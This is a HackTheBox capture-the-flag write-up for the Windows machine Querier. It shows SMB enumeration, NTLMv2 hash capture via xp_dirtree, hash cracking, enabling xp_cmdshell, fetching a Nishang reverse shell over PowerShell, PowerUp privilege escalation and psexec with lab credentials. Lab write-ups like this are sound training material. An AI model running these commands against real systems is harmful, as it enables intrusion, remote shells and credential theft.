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Querier Writeup

How to solve HTB Querier
Querier is a Windows HackTheBox machine with several insecure configurations. This article explain how to use this configurations to gain system access like user without privileges and how to escalate to administrator privileges using some penetration testing tools.
User icon Andrés Tirado
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In my opinion, Querier is a great box. We can learn a bit about Windows pentesting, a widely used operating system. The challenge begins with a public SMB where we will pass our first level. Next we will work with SQL Server and we will need to use a special SQL query to get the user hash. In the end we will take advantage an insecure configuration in Group Policy Preferences of Windows to escalate to administrator privileges. Now we will see this step by step.

Scanning Phase

The first thing to do is check the connection to the machine with a simple ping. We need a stable connection with the box to make sure that we won’t lose our progress.

$ ping
Figure 1. IP Querier
Figure 2. Doing ping

Next we can use nmap to find open ports in the machine, a simple port scanning is enough for our purposes.

$ nmap -Pn
Figure 3. Port scanning

We see 4 open ports (135, 139, 445 and 1433) and among these we found two interesting services, microsoft-ds (SMB) in port 445 and ms-sql-s in port 1433. We try to access via SMB and it shows us a shared folder called Report with a .xlsm file, the extension of Microsoft Excel Document.

Figure 4. Public share

Then we open the file with Microsoft Excel and a warning message appears telling us that the file contains a suspicious macro, this is a little hint to next step, we will check that.

Figure 5. Macro alert

We can explore the macro code in Microsoft Excel using the option Visual Basic in the Developer Tab. The macro has an insecure configuration of a connection to SQL Server, the credentials are in plain text and now we can use them. It’s a good example of something that we should never do.

Figure 6. Macro code

Getting user

Now we can connect to the other interesting service that we found: ms-sql-s. We use the module mssqlclient.py of Impacket to do queries to the server interactively using the credentials found in the last step, for example a query to know the version of SQL Server like the first testing query.

$ mssqlclient.py -windows-auth QUERIER/reporting:PcwTWTHRwryjc\$c6@
Figure 7. Mssql conection

We will use this service to gain system access like user without privileges. We mount a SMB server in our machine to capture the authentication of any Windows user, in this case the user that executes the service ms-sql-s. We should tell it to enter to our share to capture its NTLMv2 hash with an xp_dirtree query. This stored procedure of SQL Server will visit our SMB share to display a list of every folder, every subfolder, and every file.

> EXEC master.sys.xp_dirtree '\\\querier';
$ smbserver.py -smb2support querier Documents/
Figure 8. User hash

Then we copy the hash to a plain text file and use John the Ripper with the dictionary rockyou.txt to crack the captured hash. We need to specify the correct hash format because John the Ripper occasionally recognizes your hashes as the wrong type. This is inevitable because some hashes look identical, in this case the correct format for NTLMv2 is netntlmv2.

$ john.exe --wordlist=rockyou.txt --format-netntlmv2 \\
Figure 9. Runnnig John

Now we can connect to SQL Server as user mssql-svc, we try to execute command whoami but it response telling us that component xp_cmdshell is blocked but since we are the administrator of the service, we can enable it using a few queries.

$ python mssqlclient.py -windows-auth QUERIER/mssql-svc:corporate568@
Figure 10. xp_cmdshell disabled
> EXEC sp_configure 'show advanced options', 1;
> EXEC sp_configure reconfigure;
> EXEC sp_configure 'xp_cmdshell', 1;
> EXEC sp_configure reconfigure;
> EXEC master.dbo.xp_cmdshell 'whoami';
Figure 11. xp_cmdshell enabled

As we can execute commands the reading of the user flag is now possible.

Figure 12. User flag

Getting root

This method to execute commands may be inconvenient to escalate privileges, then we will be upload a shell to server. We will use the script Invoke-PowerShellTcp.ps1 of Nishang framework. Before to upload the shell we add our IP and some free port to make the connection.

Invoke-PowerShellTcp -Reverse -IPAddress -Port 30000
Figure 13. Invoke-PowerShellTcp code

Then is necessary start an HTTP server in our machine. We can do it with +Python3.

$ python -m http.server
Figure 14. Http server

To make the server download our file, we can use Powershell as follows.

> EXEC master.dbo.xp_cmdshell 'powershell.exe \\
       Invoke-WebRequest \\
       -OutFile c:\Users\mssql-svc\Music\Invoke-PowerShellTcp.ps1';

Now to get an interactive shell we set our machine to listen port 30000 and execute the script in the HTB machine.

$ nc -lvp 30000
> EXEC master.dbo.xp_cmdshell 'powershell.exe \\
Figure 15. Interactive shell

At this point we use the module PowerUp.ps1 from the PowerSploit collection to scan the system to find the way to escalate privileges. We can use the same method as in the last step. We upload the file to server with Python3.

To execute the script we need to import it first, next we can run all checks with the command Invoke-AllChecks. It will output any identifiable vulnerabilities along with specifications for any abuse functions.

> Import-Module C:\Users\mssql-svc\Music\PowerUp.ps1
> Invoke-AllChecks
Figure 16. Running PowerUp.ps1

We can see the Administrator credentials in plain text in the script output. The script took advantage an insecure configuration in Group Policy Preferences of Windows, it saves credentials with a weak encryption. It’s time to prove these and to obtain the root flag.

Figure 17. Root credentials

Finally, we can get an interactive shell as Administrator with psxec.py from Impacket. With this we can read the root flag.

$ python psexec.py QUERIER/Administrator:MyUnclesAreMarioAndLuigi!!1!@
Figure 18. Running psexec.py

Another way to get the root flag could be to find the file C:\ProgramData\Microsoft\Group Policy\History{31B2F340-016D-11D2-945F-00C04FB984F9}Machine\Preferences\Groups\Groups.xml using a native tool like findstr and decrypt the password using the gpp-decrypt tool of Kali Linux.

Figure 19. Encrypted password
Figure 20. Decrypted password

In this challenge, we see some insecure configurations like saved credentials in plain text in code. We also learned how to start an SMB server in our machine to capture hashes and finally we learned and used some important tools for pentesting in Windows like Impacket, Nishang and PowerSploit.

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Andrés Tirado

Mechatronic Engineer

Enjoy the Little Things


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